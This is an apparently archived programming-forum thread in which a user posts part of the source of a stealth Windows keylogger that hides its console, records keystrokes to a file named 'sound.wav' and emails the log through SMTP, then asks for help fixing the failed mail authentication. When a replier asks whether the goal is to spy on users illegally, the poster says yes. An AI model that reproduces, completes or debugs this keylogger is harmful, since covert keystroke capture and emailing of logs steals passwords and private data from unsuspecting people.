C++ SMTP PROBLEM IN KEYMAIL.CO

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* File: keymail.c Ver. 0.7 *
* *
* Purpose: a stealth (somewhat) key logger, writes to a log file then sends *
* and email to whoever is set in the #define options at compile time. *
* This code is for educational uses, don't be an ass hat with it. *
* White Scorpion (www.white-scorpion.nl) did the initial work on the key *
* logger, but he has gone on to bigger and better things. *
* This version was crafted by Irongeek (www.Irongeek.com), who tacked on *
* some code to make it send emails, along with a few other changes. *
* If some of the code is crappy, blame Irongeek and not White Scorpion. *
* Please send Irongeek improvements and he will post the changes and give you *
* credit for your contributions. *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation; either version 2 *
* of the License, or (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the Free Software *
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
* *
* Change log: *
* 1/3/06 On Ed Rguyl's recommendation I changed how malloc was used. *
* 6/22/06 Added the date and time functionality using ctime and fixed *
* a bug where subject was being defined twice.(ThVoidedLine) *
* *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like:
Linker error] undefined reference to `WSAStartup@8'
Add this:
-lws2_32
to Tools->Compiler Options under the section on compile flags.
*/

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*If you don't know the mail exchange server for an address for the following
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for
whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "smtp.mail.yahoo.com"
#define cemailto "test@yahoo.com"
#define cemailfrom "test@yahoo.com"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"
int get_keys();
int test_key(void);
int main(void)
{
//Uncomment the lines below to put the keylogger in stealh mode.
HWND stealth; /*creating stealth */
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

{FILE *file;
file=fopen(FileName,"a+");
time_t theTime=time(0);
fputs("\nStarted logging: ", file);
fputs(ctime(&theTime),file);
fclose(file);
}

/* if (test==2)
{//the path in which the file needs to be
char *path="c:\\%windir%\\svchost.exe";
create=create_key(path);
} */

int t=get_keys();
return t;
}

int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");


short character;
while(1)
{
Sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen(FileName,"a+");
if(file==NULL)
{
return 1;
}






Connecting....
220 smtp.mail.yahoo.com ESMTP ready

helo me.somepalace.com
250 smtp.mail.yahoo.com

MAIL FROM:<test@yahoo.com>
530 5.7.1 Authentication required

RCPT TO:<test@yahoo.com>
503 5.5.1 Bad sequence of commands

DATA
500 5.5.1 Invalid command

To:test@yahoo.com
From:test@yahoo.com
Subject:Logged


Started logging: Sun May 29 14:22:50 2016



[BACKSPACE]
[BACKSPACE]
[BACKSPACE]
Started logging: Sun May 29 14:23:17 2016



.
500 5.5.1 Invalid command
500 5.5.1 Invalid command
500 5.5.1 Invalid command
500 5.5.1 Invalid command
500 5.5.1 Invalid command
500 5.5.1 Invalid command
500 5.5.1 Invalid command
500 5.5.1 Invalid command
500 5.5.1 Invalid command

500 5.5.1 Invalid command
500 5.5.1 Invalid command
500quit
5.5.1 Invalid command
500 5.5.1 Invalid command
500 5.5.1 Invalid command
500 5.5.1 Invalid command
221 2.0.0 Bye



Hi everyone, I need help
with this. How to solve this problem. I think they want my password but I dont know exactly (sorry code not full because it,s too long to paste it here https://www.irongeek.com/i.php?page=security/keylogger). Maybe some help here?
Last edited on
closed account (48bpfSEw)
you find maybe the answer in this thread:
http://www.cplusplus.com/forum/lounge/27569/

If you're retarded and cannot read SMTP PROBLEM, don,t reply please. Thanks.
If you're retarded and cannot read SMTP PROBLEM, don,t reply please. Thanks.
If you insult people who try to help you will certainly get more help...

The problem is certainly this:
MAIL FROM:<test@yahoo.com>
530 5.7.1 Authentication required

RCPT TO:<test@yahoo.com>
503 5.5.1 Bad sequence of commands
You do not provide the correct authentication sequence. Actually it seems you do not provide authentication at all. So either you are looking for a server without authentication or you provide it.

I'd suggest that you use a library for this like POCO:

http://pocoproject.org/
Thanks for reply. But here comes another question. It isn't necessary to indicate the password of email because if you know Ardamax keylogger has the same function and then creating virus it asks email send to, smtp and password? It is logical to get authetication without password? Maybe exist some ways to insert password too?
Last edited on
No, I don't know this keylogger. Are you asking how to illegally spy out a user?
Yeah, but I want to make it work on exactly this code.
Last edited on
Topic archived. No new replies allowed.